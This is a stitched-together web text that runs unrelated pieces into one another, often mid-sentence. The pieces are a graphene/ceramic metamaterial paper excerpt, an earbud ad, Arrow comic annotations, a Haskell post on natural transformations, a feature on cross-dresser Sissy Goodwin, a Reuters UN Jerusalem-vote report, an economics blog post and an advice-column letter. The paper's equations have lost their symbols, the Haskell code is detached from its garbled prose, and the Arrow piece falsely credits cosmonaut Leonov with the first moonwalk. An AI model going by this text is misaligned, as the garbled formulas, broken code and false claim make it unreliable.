Figure 4 Open in figure viewerPowerPoint a) Mechanical modeling schematic of the bending cellular‐wall element of the GCM with a linearly distributed stress profile along the beam height. b) The stress and equivalent concentrated force distributions applied on the GA. c) The stress and equivalent concentrated force distributions applied on the NAC. d) γ versus β curves for moment apportion as an index for the NAC strengthening effect on the mechanical properties of the GCM monolith. e) In situ observation of the GCM microstructure evolution during large‐scale deformation with compression strain incrementally increased from 0 up to over 50%. f) A schematic illustration of the arch–shell cellular wall deformation during out‐of‐plane bending procedure.
whereandare the Young's moduli of the sandwiched graphene sheet and the deposited NAC (GPa), respectively;andare the thickness of the sandwiched graphene sheet and the deposited NAC at single sides, respectively (nm);andare the bending moments of the graphene sheet and the NAC undertaken; γandare partitioned coefficients of bending moments defined as the ratios ofandto, respectively; β is defined as the ratio ofto. The value ofis theoretically estimated up to 1050 GPa,andis 408.99 GPa for amorphous Alnoncrystal material.
As shown in Figure 4d, there are two theoretical curves of γ versus β obtained with thickness ratio β ranging from 0 to 4. With the increase of the NAC thickness, γ exhibits a dramatic increase for NAC but a notable drop for GA, indicating a significant strengthening effect of the NAC to the bending stiffness of the GCM cellular wall. Comparatively, the NAC contributes over 90% of the mechanical strength for β > 1.0. It is revealed that NAC‐deposition‐induced increase of the inertia moment of the multi‐nanolayer cellular walls significantly enhances the compression resistance of the microcells as well as the macrocompression strength of the GCM monolith. Such an NAC‐thickness‐derived structural design of the microstructure on fourth‐dimensional manipulation achieves synchronous strengthening of the mechanical strength and the emergence of the superelastic deformation behavior, suggesting a promising pathway for developing advanced ceramic metamaterials with a multifunction layer assembled design or microstructure modification at the micro‐/nanoscale.
As shown in Figure 4e,f, the microcell was globally compressed in an elastic state with compression strain less than 20%. The arch–shell‐shaped cellular wall began to bend out of plane, induced by an elastic strain up to 30%: this deformation can be triggered easily because of its ultrahigh aspect ratio (t/l > 1500, t and l are the thickness and length of the GCM cellular walls, respectively).30, 32 With a continuous increase of the strain over 50%, the bending cellular wall became severely folded without yielding of the material and structural fracture emerged because of its elastic “buckling” behavior. Such ultrathin arch–shell‐shaped cellular walls serve as basic elastic units to actuate a compressed GCM monolith to spring back to its original shape during large‐scale geometric deformation, as shown in Video S2 in the Supporting Information. Furthermore, compared with reported GA monoliths governed by local anisotropic compaction of microframeworks due to low‐flexural‐rigidity‐induced “buckling” of the cellular wall,25, 32, 36, 37 the in situ observations of the GCM microstructure compressed in SEM reveal a uniformly compatible deformation process by capturing the characteristic curve evolutions (L1, L2, and L3) (Figure S8, Supporting Information). This phenomenon is a result of the optimization of the loading transfer path and strengthening of the framework stiffness of the cellular walls after chemically bonded coupling of the NAC with the GA template, which is beneficial for the structural robustness and fatigue resistance without a local‐anisotropic‐deformation‐induced stress concentration. The GCM demonstrates microstructure‐derived excellent ductility, superelasticity, and improved deformation compatibility of the multi‐nanolayer graphene/ceramic composite achieved by controllable structure design at the nanoscale.
In Figure 5a, the GCM demonstrates electrical conductivity as high as 1.02 S cm−1 by a volumetric content of graphene of less than 10 mg cm−3 (0.25 wt%), which is three to six times higher than those of traditional conductive ceramic composites or similar order of magnitude with pure graphene aerogels.25, 32, 36-38, 43, 44 The current–voltage (I–V) curves of the GCM are consistent with the typical Ohm's Law for a graphene volumetric content increase from 2 to 10 mg cm−3 (0.05 to 0.25 wt%), with the corresponding conductivity in the range of 0.25 to 1.02 S cm−1 (Figure 5b). The reason for the excellent electrical conductivity of the GCM even at ultralow graphene content of 0.05 wt% is schematically illustrated in Figure 5c. With the as‐built framework of the GA, the sandwiched multilayer graphene sheets in the GCM supply well‐interconnected pathways for electron transport at a large mobility. The NAC coated on both sides maintains high‐k dielectric protection, lowering the interference of other fields to electron conductance in the GCM. In contrast, traditional graphene/ceramic composites have to overcome a threshold value by the “top‐down” process as graphene nanoplatelets are mechanically dispersed into the ceramic matrix, while the present “bottom‐up” strategy perfectly retains the GA framework, being free from damage due to its high mechanical robustness during the ALD process, which effectively reduces possible deterioration (e.g., bubbles, weak interfaces, and cracks) in the microstructure. Therefore, each graphene sheet in the GA can build a pathway for electron migration, and contributes to the reinforcement of mechanical properties. Such conductive and robust GCM suggests promising applications in electromagnetic shielding or conductive ceramic composites with high electrical conductivity for certain special structures, including electrodes, communication, and spacecraft, to name a few. Furthermore, the structural robustness and fatigue resistance of the GCM was further emphasized by the stability of the electrical conductivity (1.02 S cm−1) after 20 cyclic compressions at a strain of 50%; the related electrical resistance variation is stabilized around 25% (Figure 5d). The GCM exhibits a synchronously sensitive response of electromechanical coupling performance by a positive piezo‐resistance effect, enabling it to be suitable as a flexible conductor or sensitive strain/damage sensor.
Figure 5 Open in figure viewerPowerPoint GCM electric properties characterization. a) Electrical conductivity by graphene volumetric content in the range of 2–10 mg cm−3 compared with other conventional graphene/ceramic composites. b) I–V curves. c) Schematic of the conductive pathway for electron transport in sandwiched graphene sheets. d) Mechano‐electric effect of the GCM at a strain of 50%. e) The flame‐retardant performance of the GCM. f) Comparative TGA of GCM.
Covered by deposited NAC, the sandwiched graphene sheets, as inflammable carbon materials, are isolated from air, resulting in an effective improvement of the flame retardancy. As shown in Figure 5e, the GCM cylindrical sample was treated by a flame in air for 30 min (Video S3, Supporting Information). Both macroscopic shape evolution and weight loss were monitored in real time. Compared to pure GA burnt to ash or conventional pure carbon materials combustible at 350 °C in air,45 the GCM demonstrates a high weight retention of over 96.6% and structural robustness, besides slight shrinkage. Although the GCM sample encounters slight reduction of maximum strength and stiffness after flame treatment (less than 5%) (Figure S9a, Supporting Information), it retains the original superelasticity with reversible compressibility up to 80% strain. The microstructural stability of the GCM was further confirmed by SEM of the flame‐treated sample as shown in Figure S9b in the Supporting Information: there are no obvious cracks, delamination, and thermal etching of the multi‐nanolayer cellular wall appearing after the flame process, indicating excellent protection of the NAC to the sandwiched graphene framework. Moreover, as demonstrated in Figure S10 in the Supporting Information, the GCM as an interface isolator prohibits heat flow through itself, indicating outstanding thermal insulating capacity. The thermal conductivity of the GCM with a density of 23 mg cm−3 (10 nm thick NAC deposition, GA volumetric content of 10 mg cm−3) is less than 0.05 W K−1 m−1, which was measured by a heat flow meter (300/1, LINSEIS, Germany) at room‐temperature conditions (≈25 °C).
The thermal stability of the GCM was further confirmed by thermogravimetric analysis (TGA) testing with temperature ranging from RT to 1200 °C. The NAC is assumed to be without weight loss due to its higher decomposition temperature over 2980 °C; the weight changes in the TGA results were characterized as theeffective loss of graphene content in GCM, GOCM, LGO, GA, and GOA, as shown in Figure 5f. Under argon protection, the GCM demonstrates higher thermal stability with a negligible weight loss at 1000 °C and a slight weight loss of less than 3% at 1200 °C compared with 5% loss for GA. Comparatively, the dramatic weight loss of GOCM occurred at temperatures ranging from 200 to 1200 °C. The final weight losses at 1200 °C were 42.5% (LGO), 34% (GOA), and 32% (GOCM) due to the removal of the oxygenic functional groups during heating. When compared side by side under air conditions, regarding the protection function of the NAC coating, the thermal stability of the GCM is significantly enhanced, with the critical temperature for dramatic weight loss increasing to 655 °C, compared with 405 °C for the GA, implying promising applications as a thermal protective skin, antithermal shock isolators, and flame‐retardant barriers at high‐temperature conditions.
These superiorities spark off promising applications, such as multifunctional layers combining thermal insulation and porous microwave‐absorbing coating for aircraft or external fire‐proof materials with flyweight density (as low as 1.8 mg cm−3) for modern buildings, surpassing other much denser (>50 mg cm−3), mechanically brittle, and humidity sensitive thermal insulating materials like silicon aerogels, cellulose‐nanofiber‐based foams, and polyurethane.5, 7, 8, 46, 47Quite simply, the new Earin earbuds from former Sony Ericsson and Nokia engineers are the smallest, cordless earbuds on the market. The balanced armature speakers that Earin uses are more commonly found in pro in-ear monitors and hearing aids, so you get the best possible sound out of the small package. There are no cords. There are no cables. There is no standard bluetooth wraparound that will constantly rub against your neck while you’re working out. The entire solution is the two tiny earbuds, powered by high-density rechargeable batteries, the stash case that charges them but is also small enough to hang on your keys and a USB cable for recharging the stash case battery. Pair your Earin with your phone, put them in your ears and enjoy your music. They’re so small they’re almost invisible.We break down all the links between this week's episode and the comics!
While we provided a pretty comprehensive recap of Arrow’s pilot episode last night, but there were plenty of easter eggs and references to the comic book that we didn’t touch upon. Luckily Arrow Annotations is here to help, providing some additional notes and background info from last night’s episode. While there's not nearly as much to cover this week, the Arrow writers still threw plenty of little easter eggs for readers. Arrow spoilers follow!
Deadshot - Floyd Lawton, aka Deadshot, is an iconic villain in the DCU, and is the main antagonist this episode. Deadshot got his start as a Batman villain before getting imprisoned and being conscripted into the US government's Suicide Squad. Deadshot, as shown in this episode, is an expert marksman and typically uses two wrist-mounted guns as his weapons.
In the comics, Deadshot has a deathwish, which leads him to taking on suicidal assassination contracts. However, Deadshot's not totally without morals; when he discovers that he has a young daughter living in Star City, he engages in a one-man extermination project to rid the neighborhood she lives in of crime and supervillains. Deadshot can currently be seen leading a new iteration of the Suicide Squad in the New 52.
This isn't Deadshot's first appearance outside of comics. He appeared in Smallville (oddly wearing cowboy gear), the Justice League cartoon, a Batman: Gotham Knights short, and was the subject of a mission in Batman: Arkham City.
Felicity Smoak - Also making her first appearance is Felicity Smoak, an IT employee working for Queen Industries. In the comics, Smoak is a supporting character of Firestorm, a fiery elemental hero and occasional Justice League member. Smoak is at first antagonistic towards the hero, suing the hero after he inadvertently destroyed a number of discs owned by her software firm. However, the character eventually develops a relationship with Ed Raymond, the father of Firestorm's alter-ego, Ronnie, and eventually forgives and supports the fiery hero.
Yao Fei - Yao Fei, the "Asian Arrow" found on Purgatory Island, is a Chinese superhero and a member of Chinese superteam, the Great Ten. Fei's better known as the Accomplished Perfect Physician and has the ability to control his voice to give him great powers. No clue if the Arrow writers plan on bringing up Fei's history in the show, or if the characters simply share a name.
Alexi Leonov - Alexi Leonov, Oliver's Russian mob contact, shares a name with a famous Russian cosmonaut who conducted the first moonwalk. Needless to say, that's probably an alias.
Andrew Diggle - Diggle's name is prominently displayed on Deadshot's chest. We've already discussed how Andy Diggle is a comic book writer responsible for many of the Green Arrow origin aspects used in the show. As an interesting sidenote, it was mentioned that John Diggle's brother was killed in the line of duty. Could Deadshot be the killer?
Wes Anselm - Wes Anselm is one of the many names appearing on Deadshot's chest. In the 1988 Deadshot miniseries written by John Ostrander, Deadshot learns that his son has been killed by a pedophile named Wes Anselm. The series focuses on Deadshot hunting down those responsible for his son's death.
Andy Haskell - Another name on Deadshot's chest. Haskell was a lawyer who, in the 1988 Deadshot miniseries, helped kidnap Deadshot's son and helped cover up his disappearance. Needless to say, he doesn't survive.
Glen Winter - Another name on Deadshot's chest. Winter is a television director who directed several episodes of Smallville.
Room 52 - The hotel room Deadshot is hiding out in is numbered 52, a rather important number in the DC Universe. The number was first used in the weekly series 52, which gained popular acclaim and ran uninterrupted for a year. For whatever reason, DC fixated on the number and has featured the series prominently in marketing linked to its reboot. Currently, DC publishes 52 ongoing series set in the main DC universe and aggregately calls its comics "The New 52". There are also 52 different alternate universes in the Multiverse.
Big Belly Burger - The Big Belly Burger, the restaraunt where Diggle takes Oliver and Tommy to lick their wounds, is a popular fast food chain in the DC Universe and is a subsidiary of LexCorp, the company of Superman villain Lex Luthor.
Yasemin Soze - Yasemin Soze's name appears in Oliver's book and has a couple of ties with some of the characters in Arrow. Yasemin first appeared in the Birds of Prey series, where she fought Black Canary and the Huntress. Later, she joined the Suicide Squad and fought Deadshot's new team, the Secret Six. Deadshot won in a shootout against Yasemin and killed her.
Marc Piler - Another name appearing in Oliver's book. Piler briefly impersonated Deadshot after stealing the villain's outfit at an airport. After Piler went on a killing spree, Deadshot hunted him down and killed him. However, the image of Deadshot killing himself affects the villain greatly.
Black Canary punching stuff - Laurel's takedown of Max Fuller might come as a surprise to new fans, but in the comics, Lance is an accomplished martial artist and fighter. She's trained many younger heroes how to fight.
Joanna de la Vega - Annie Ilonzeh, the actress playing Laurel's co-worker Joanna, revealed that her character's name is de la Vega. That could be a reference to Gregorio de la Vega, AKA Extrano, the first openly gay superhero in DC Comics. Extrano |
type Natural f g = forall a.f a -> g a
Functor
(.)
`o`
`o'`
> o,o' :: (Functor f,Functor f',Functor g,Functor g') => Natural f' g' ->
> Natural f g -> (forall c.f' (f c) -> g' (g c))
> o s t x = s (fmap t x)
> o' s t x = fmap t (s x)
> data Pair x = Pair x x deriving (Eq,Show)
> instance Functor Pair where
> fmap f (Pair a b) = Pair (f a) (f b)
> newtype Id x = Id x deriving (Eq,Show)
> instance Functor Id where
> fmap f (Id x) = Id (f x)
> alpha :: Natural Pair []
> alpha (Pair x y) = [x,y]
> beta :: Natural [] Maybe
> beta [] = Nothing
> beta (x:xs) = Just x
> alpha' :: Natural ((,) a) Id
> alpha' (a,x) = Id x
> beta' :: Natural Id (Either b)
> beta' (Id x) = Right x
(β. α) o (β'. α') = (β o β'). (α o α')
> lhs = (beta. alpha) `o` (beta'. alpha')
> rhs = (beta `o` beta'). (alpha `o` alpha')
> type From = Pair (Float,Integer)
> type To = Maybe (Either String Integer)
> test1 = quickCheck (\x -> lhs (x :: From) == (rhs x :: To))
test1
> instance Arbitrary a => Arbitrary (Id a) where
> arbitrary = liftM Id arbitrary
> instance Arbitrary a => Arbitrary (Pair a) where
> arbitrary = liftM2 Pair arbitrary arbitrary
I find it amazing the way you can take a bunch of abstract nonsense and turn it into concrete Haskell code for doing something mundane. Having down-to-earth examples really does help with getting your head around the abstractions.Anyway, on page 43 of Categories for the Working Mathematician (2nd Ed.) is the 'interchange law' for horizontal and vertical composition of natural transformations. Not only can we find a nice mundane example to help thinking about it, we can even test it using Quickcheck For convenience we can define a natural transformation type:Where f and g are intended to be instances ofIf we have a natural transformation from f to g, and another from g to h, then we can compose them using the ordinary Haskell composition operator. In Haskell, functors are frequently containers, so we can use containers as a guiding example. If we know how to map a bag of stuff to a sack of stuff, and we know how to map a sack of stuff to a box of stuff, then we just perform the two operations in sequence and we can map a bag of stuff to a box of stuff. This is known as vertical composition.But there is also another way to compose natural transformations known as horizontal composition. Again we can think about containers. Suppose we know how to map a bag of stuff to a sack of stuff, and we know how to map a box of stuff to a crate of stuff, then we also know how to map a bag of boxes of stuff to a sack of crates of stuff. There are two obvious ways to do this: we could convert the bag of boxes of stuff to a sack of boxes, and then convert each box to a crate. Or we could convert the boxes to crates first, and then map the resulting bag of crates to a sack of crates. We can define two binary operatorsandto perform each of these tasks:Intuitively we'd expect these things to be equal, and in fact they always are. (Exercise: write a quickcheck for this based on the code below.)Now we need some functorial containers to play with:Now we can define a bunch of natural transformations mapping between these containers and some others:On page 43 is the interchange law. Superficially it looks a lot like abiding. For any α, β, α' and β' with compatible types, we haveThis is the identity I want to check for the special case of the types I've chosen above. So we can define the left and right hand sides:And here we go:Just typein ghci to hear the sweet sound of 100 tests passing.Anyway, we're just a hair's breadth away from defining 2-categories now. But I'll leave that for another day.Thinking about it, I gave slogans for the previous theorems so why don't I give one for the interchange law. Take a deep breath. If you know how to convert a bowl of stuff into a box of stuff, and a box into a bag, and an urn into a crate, and a crate into a sack, then there are two equivalent ways to convert a bowl of urns into a bag of sacks: we can either construct methods going from bowl to bag and from urn to sack and combine them to go from bowl of urns to a bag of sacks, OR, we can go from a bowl of urns to a box of crates to a bag of sacks. I'm sure it's all a lot clearer now. ;-)Well that's enough abstract nonsense. Time to get away from it all and watch some youtube videos. Eh? Oh well. Just wish me luck for tomorrow when I try to beat my fastest time in Bay to Breakers. Maybe some other bayfpers will be there too.He's tough enough to be a Sissy in Wyoming
Column One He's tough enough to be a Sissy in Wyoming Longtime cross-dresser Sissy Goodwin of Douglas, Wyo., has been anything but weak as he stands up to bigotry in the Cowboy State.
Sissy Goodwin is out shopping. He's on the hunt for an industrial-sized wrench for a home handyman project along with two special somethings: colored hair bows and a pretty new dress — preferably red, size 12.
UPDATE: Cross-dresser Sissy Goodwin decides to leave the Cowboy State
He walks through a mall, a linebacker-sized figure in a pink skirt, lacy yellow blouse and five-o'clock shadow; a gold lamé purse slung over his shoulder and a white bow affixed to his receding gray hair. The 67-year-old college science instructor looks straight ahead, ignoring the stares and the catcalls.
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"Boy, you're cute," says a middle-aged woman, who then laughs derisively.
In a hardware store, a man shakes his head in disgust. Another asks, "Is it a prank? A joke?"
Back in the car, the object of such scorn puts on pink sunglasses adorned with a tiny red plastic bow. "I got them in Reno," he says. "Aren't they cool?"
Goodwin is a cross-dresser in the Cowboy State, a place known for its big-buckled outdoor ethic and intolerance of alternative lifestyles. It is the state remembered for the death of college student Matthew Shepard, who was tortured and killed in 1998 because he was gay.
For most of his life Goodwin has lived a compulsion — one that at times has made him cry and embarrassed his family. But he found out long ago that he can't stop himself.
Cross-dressing is widely considered aberrant behavior even in the most liberal big cities, but out here in the nation's least-populated state, the practice is almost unthinkable. For decades, Goodwin has endured a profoundly hostile environment. He has stood up to bigotry and has begun to make a difference.
Goodwin isn't gay; he's been married for 45 years and has two adult children. As a young man, he was a rodeo cowboy who rode bulls bareback, a free spirit who never shied away from a fistfight. The former aircraft mechanic loves to drink beer, play golf, throw steaks on the grill.
What sets him apart, he says, is what he calls gender independence: He just likes to do most things in a dress.
Larry Goodwin was born in Douglas, Wyo. (population 6,000), raised by an alcoholic mother and abusive stepfather. Secretly dressing up in girls' clothing offered what he now calls "a safety valve; an escape from a hostile environment."
The obsession persisted, even when he was an Air Force crew chief in the Vietnam War. He received an honorable discharge after an officer caught him wearing a pink nightgown. Back in Wyoming, Goodwin still outwardly dressed as a man. When he competed in rodeos, he feared any mishap might land him in a hospital where doctors would discover the women's panties under his cowboy chaps.
He divulged his secret to his soon-to-be wife, Vickie, who already suspected — she'd caught a glimpse of lace beneath his blue jeans. At first, she took his oddity in stride, but years later would ask herself, "My God, what have I gotten myself into?"
In 1972, Goodwin started to wear blouses and skirts in public. Severely depressed, he concluded that if he wasn't true to himself, he would eventually end his life.
That's who and what I am. I wear women's clothes." — Sissy Goodwin Share this quote
The harassment began in earnest. A stranger once drove up to his house and kicked out his front teeth. People called him a queer and a pervert. He's also been booted from countless stores, hotels and restaurants, all because of the way he dresses.
A defining moment came when doctors helped Goodwin understand his cross-dressing. With Vickie's help, he worked to accept himself. Each morning, standing at a mirror, often weeping, he repeated a mantra: "I am a good person."
Later, when a woman called him a sissy, he took possession of the insult and assumed the name. "First I was offended. Then I saw it: 'That's who and what I am. I wear women's clothes.'"
After Goodwin was arrested in a department store in 1979 for wearing a dress, Casper police offered to drop the charges if he'd quit cross-dressing in public. Goodwin refused, saying no laws forbid the practice. Police backed down and later offered officers diversity training.
Still, a rattled Goodwin put his house up for sale. Then he realized the truth about Wyoming.
Wearing what he wants A former rodeo rider has faced a lot of harassment for wearing women's clothes.
"When someone doesn't meet their expectations of what a man should be like, they run him out of town," he says. "I wasn't going to go."
He remained defiant. On business in Salt Lake City in 2004, he was beaten outside a pizza shop by a gang of men. He refused to call police, figuring they would arrest him instead of the attackers who had bloodied his face.
While Wyoming is the self-proclaimed Equality State, Goodwin has another name for the place: the Mississippi of the West, where equality comes only to the majority. He says his greatest insults have come not from any homophobic cowboys, but from people he'd known since childhood who snubbed him in public. He was once asked to avoid a local Democratic Party peace rally because organizers were embarrassed by his cross-dressing.
"The physical wounds from a beating eventually heal," he says. "But the pain of being shunned by people you know lasts a lifetime. It's worse than getting kicked in the kidney."
Goodwin still fights for the right to be himself. At the state fair this year, he was kicked in the butt and turned to face five men in cowboy hats. He eyed his attacker and pointed at his blouse: "See that buddy? Don't let it fool you and don't let it happen again."
A neighbor recently mocked his feminine dress. Goodwin faced him, asking if he was a coward as well as a bigot. "I baited him — I admit it," Goodwin said. "He punched me. I might have done the same thing."
Along the way, Goodwin has learned to laugh at himself. Rummaging through dresses at a Goodwill store, he admits that his fashion sense is stuck in the 1950s. "You know you're out of date when you buy your clothes from the Halloween rack," he jokes.
Later, shopping for wrenches, he spots a large, pink industrial tool rack: "We never had those when I was an aircraft mechanic."
Each morning, the instructor named Sissy arrives in the male-dominated world of Casper College's power technology lab, where he teaches young men in farm hats the science behind heavy machinery. He packs his lunch in a pink Playmate cooler and carries his coffee in a green thermos with Wyoming's logo of a bronco-riding cowboy.
He asks classes not to judge him by his dress, and they've responded. Students once arrived in hoodies, removing them to reveal pink hair ribbons and matching pink shirts. Goodwin nearly wept at the gesture.
Charles Stanford, a former student who now plays golf with Goodwin, has seen the harassment firsthand. "I respect the way he stands up for himself," Stanford says.
Bubbas in pickups still stare, but Goodwin sees progress. A stranger once saluted him in public for "having the guts not to be a cookie-cutter cowboy." Another apologized for driving by his home years ago and shouting a slur.
The comments have helped Goodwin both to accept and celebrate himself as he tries to come to terms with his guilt over the suffering his family has endured.
His boy Travis was taunted as the son of "fairy Larry." Goodwin taught him to fight back. "I blame myself now," Goodwin says. "He was defending his dad when he didn't really know what he was defending him for."
Travis, 40, says he has only twice seen his father dressed in men's clothing, once at his sister's wedding. "You could see him squirming to get out of that dress shirt," Travis says, "and get back into his dress."
He used to blame his problems on his father. Not anymore.
"He's the most brilliant man I know," Travis says. "He's not just strong physically, but mentally as well. He really is my hero."
These days, Goodwin has a favorite song, played in his honor at antiwar rallies in Wyoming by the group Annie and the Vets, whose members are friends. The refrain hits home every time, and makes him smile: "A cowboy in a party dress just ain't right."
UPDATE: Cross-dresser Sissy Goodwin decides to leave the Cowboy State
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Follow John M. Glionna (@jglionna) on Twitter
Follow @latgreatreads on TwitterUNITED NATIONS (Reuters) - More than 120 countries defied President Donald Trump on Thursday and voted in favor of a United Nations General Assembly resolution calling for the United States to drop its recent recognition of Jerusalem as Israel’s capital.
Trump had threatened to cut off financial aid to countries that voted in favor. A total of 128 countries backed the resolution, which is non-binding, nine voted against and 35 abstained. Twenty-one countries did not cast a vote.
Trump’s threat appeared to have some impact, with more countries abstaining and rejecting the resolution than usually associated with Palestinian-related resolutions.
Nevertheless, Washington found itself isolated as many of its Western and Arab allies voted for the measure. Some of those allies, like Egypt, Jordan and Iraq, are major recipients of U.S. military or economic aid, although the U.S. threat to cut aid did not single out any country.
A spokesman for Western-backed Palestinian President Mahmoud Abbas called the vote “a victory for Palestine.” Israeli Prime Minister Benjamin Netanyahu rejected the vote.
Earlier this month, Trump reversed decades of U.S. policy by announcing the United States recognized Jerusalem - home to major Muslim, Jewish and Christian holy sites - as the capital of Israel and would move its embassy there.
“The United States will remember this day in which it was singled out for attack in the General Assembly for the very act of exercising our right as a sovereign nation,” U.S. Ambassador to the United Nations Nikki Haley told the 193-member General Assembly ahead of Thursday’s vote.
“We will remember it when we are called upon to once again make the world’s largest contribution to the United Nations, and so many countries come calling on us, as they so often do, to pay even more and to use our influence for their benefit,” she said.
Later on Thursday, Haley asked the 64 countries who voted no, abstained or did not cast a vote to come to a Jan. 3 reception “to thank you for your friendship to the United States,” according to the invitation seen by Reuters.
The status of Jerusalem is one of the thorniest obstacles to a peace deal between Israel and the Palestinians, who were furious over Trump’s move. The international community does not recognize Israeli sovereignty over the full city.
French U.N. Ambassador Francois Delattre said in a statement: “The resolution adopted today only confirms relevant international law provisions on Jerusalem.” France voted in favor.
‘PREPOSTEROUS’
Netanyahu described the resolution as “preposterous.” “Jerusalem is our capital, always was, always will be. But I do appreciate the fact that a growing number of countries refuse to participate in this theater of the absurd,” he said in a video on his Facebook page.
Israel captured East Jerusalem in a 1967 war and Palestinians want it as the capital of a future state they seek.
Iranian Foreign Minister Mohammad Javad Zarif said in a tweet the vote was a clear international rejection of the Trump administration’s “thuggish intimidation.”
Among countries that abstained were Argentina, Australia, Canada, Colombia, Czech Republic, Hungary, Mexico, Philippines, Poland, Rwanda, South Sudan and Uganda.
FILE PHOTO: U.S. Ambassador to the United Nations Nikki Haley vetos an Egyptian-drafted resolution regarding recent decisions concerning the status of Jerusalem, during the United Nations Security Council meeting on the situation in the Middle East, including Palestine, at U.N. Headquarters in New York City, New York, U.S., December 18, 2017. REUTERS/Brendan McDermid
Guatemala, Honduras, Marshall Islands, Micronesia, Nauru, Palau and Togo joined the United States and Israel in voting no.
Honduras’ vote against the motion comes after the United States signaled it would recognize President Juan Orlando Hernandez as the winner of an election the Organization of America States said should be scrapped over fraud claims.
Since Trump’s election, Mexico has aligned its foreign policy more closely with Washington in what diplomats say is an attempt to curry favor in face of threats to withdraw from the NAFTA free trade agreement.
Trump’s rhetoric on cutting aid startled some U.S. allies but State Department spokeswoman Heather Nauert said Thursday’s vote was just one factor that Washington would take into consideration in its foreign policy.
“I just wanted to reiterate what the president had said yesterday and that that was the U.N. vote is really not the only factor that the administration would take into consideration in dealing with our foreign relations and countries who have chosen to vote one way or the other,” she told reporters.
According to figures from the U.S. government’s aid agency USAID, in 2016 the United States provided some $13 billion in economic and military assistance to countries in sub-Saharan Africa and $1.6 billion to states in East Asia and Oceania.
It provided some $13 billion to countries in the Middle East and North Africa, $6.7 billion to countries in South and Central Asia, $1.5 billion to states in Europe and Eurasia and $2.2 billion to Western Hemisphere countries, according to USAID.
The General Assembly vote was called at the request of Arab and Muslim countries after the United States vetoed the same resolution on Monday in the 15-member U.N. Security Council.
The remaining 14 Security Council members voted in favor of the Egyptian-drafted resolution, which did not specifically mention the United States or Trump but which expressed “deep regret at recent decisions concerning the status of Jerusalem.”
Slideshow (6 Images)
Thursday’s resolution “affirms that any decisions and actions which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded.”
The U.N. action comes a year after the Security Council adopted a resolution demanding an end to Israeli settlements.
That was approved with 14 votes in favor and an abstention by former U.S. President Barack Obama’s administration, which defied heavy pressure from longtime ally Israel and Trump, who was then president-elect, for Washington to wield its veto.How would we know if we won the War on Poverty? By Scott Sumner
Ross Douthat recently made this observation:
1.) The modern welfare state has succeeded in substantially cutting our country’s poverty rate. This is a point that both right and left sometimes obscure, the right because it complicates a simple “we fought poverty, and poverty won” narrative about the Great Society, the left because it complicates claims that Reagan or Gingrich gutted welfare spending and crushed the fortunes of the poor. But the basic evidence seems very convincing: Whether it’s Scott Winship analyzing the numbers from the center-right or Harvard’s Christopher Jencks doing the same from the center-left, you can see dramatic reductions in the poverty rate since the 1960s, with various public programs, means-tested and otherwise, pretty clearly playing a substantial role.
I agree with much of what Winship and Jencks had to say, but I do have one important reservation about this sort of claim. There’s a tendency to assume that the effect of anti-poverty spending can be measured by looking at the difference between market income and market income plus government aid. I’m going to argue that this is a very serious conceptual error, even if their conclusions end up being correct in the end.
Imagine someone who makes $8000 in 1960, working as a maid in a hotel. Ten years later the War on Poverty has been launched, and this lady now earns zero market income. She instead receives $10,000 in various government benefits. (I’m using 2015 dollars for simplicity; of course incomes and prices were far lower back then.) In the meantime, the wages of autoworkers rose from $40,000 to $60,000/year. If that were the data you had to work with, and that lady’s situation was typical of the poor, how would you evaluate the War on Poverty?
Taking the optimistic view, one could argue that this lady was kept out of abject poverty by the government aid. Without that aid, her income would have been zero. On the other hand if she was representative of the poor, you could say that the 25% rise in her income plus benefits was less than the 50% increase seen by middle class autoworkers. Here’s where the tricky counterfactuals come in. What would have been the 1970 income of the former maid if those welfare programs had never been established?
Here I’d like to switch from income to consumption. Economic theory says income is not the right measure of well-being, we need to look at consumption. Some of my critics insist the distinction is not that important for the poor, because they can’t afford to save anything. I’m not sure that’s true (it’s certainly not true in China, or among illegal Chinese immigrants to America) but I’ll grant that assumption if you’ll agree that consumption is the standard measure of well-being used in economics. So lets say income equals consumption of the poor.
Do you see the problem? If we return to our no War on Poverty counterfactual, and assume no government benefits and no effect of incentives on work effort, then everyone with no market income would have had zero consumption. Which is obviously impossible. I’ve oversimplified in all sorts of ways. People can get by for a while with aid from relatives. And there was some welfare even before the War on Poverty. Nonetheless, I think it’s pretty hard to take seriously the claim that the market income in 1970, or 2015, is the market income that would occur without welfare programs. We know how poor people (and mildly disabled people) behaved in the 1950s, and it was not the same way they behave today.
The bottom line is that the data alone cannot disprove the claim that (absent the war on poverty) that maid would have continued to work in a hotel and have earned $12,000 in 1970, receiving the same 50% wage increase as the autoworker. Yes poverty fell between 1960 and 1970, but that’s because America was getting richer. (Obviously the reduction in poverty with the elderly due to Social Security is another story, where my contrarian argument is much weaker.)
Given all this uncertainly, I might be inclined to take a fairly agnostic stance, and simply look at how the bottom 20% are doing. Did their economic wellbeing rise faster or slower than for the average American? If faster, that provides some (weak) indirect evidence against the hypothetical counterfactual I provided above.
Surprisingly, despite my methodological reservations, I actually end up agreeing with Douthat, Winship and Jencks; the War on Poverty probably helped reduce poverty (although by far less than Douthat, Winship and Jencks claim). But I get there in a rather surprising way, which may not please progressives. I believe that the Piketty obsession with inequality is way overdone, and that America’s poor have seen their living standards rise faster than the American middle class. (The top 1% have done very well, but they are so few in number that they hardly matter.) So inequality is becoming less of a problem for the 99%. That suggests to me that the War on Poverty may have been a limited success. However, much greater progress would have occurred if more emphasis had been put on programs like the Earned Income Tax Credit, which encourage work, and also more effort on avoiding the marriage penalty built into many programs (including the EITC.)
My fear is that progressives will wrongly conclude that inequality is getting worse despite the war on poverty, and advocate counterproductive policies such as higher minimum wages and taxation of capital income. We should improve the War on Poverty, not launch populist policies based on bogus economic theories.
PS. If I am wrong, and the living standards of the poor have improved by less than the middle class, then I’d reverse position on the War on Poverty. In that case I’d very strongly doubt claims that it was even a limited success.Please send your questions for publication to gentlemanscholarslate@gmail.com. (Questions may be edited.)
Dear Sir:
Why don’t more men wear bay rum? The scent is delicious, seductive, masculine. Please advise your readers that scent goes a long way with a woman. It distracts us from other character deficiencies—civil, ethical, moral, ecumenical. Honestly, lads: Wear the right scent, and you have us dead to rights.
If I am stuck next to another man wearing an Axe product, I might do violence. I want the world to be the sort of place where people have manners and sense and taste and discuss books and mix decent cocktails and steal kisses in dark corners, and perhaps smell of bay rum while performing all of these vital offices to keep the wheels of civilization whirring along until the planet explodes in a ball of fire and all is forgotten.
Is that asking for so much?
Cordially,
Lady S
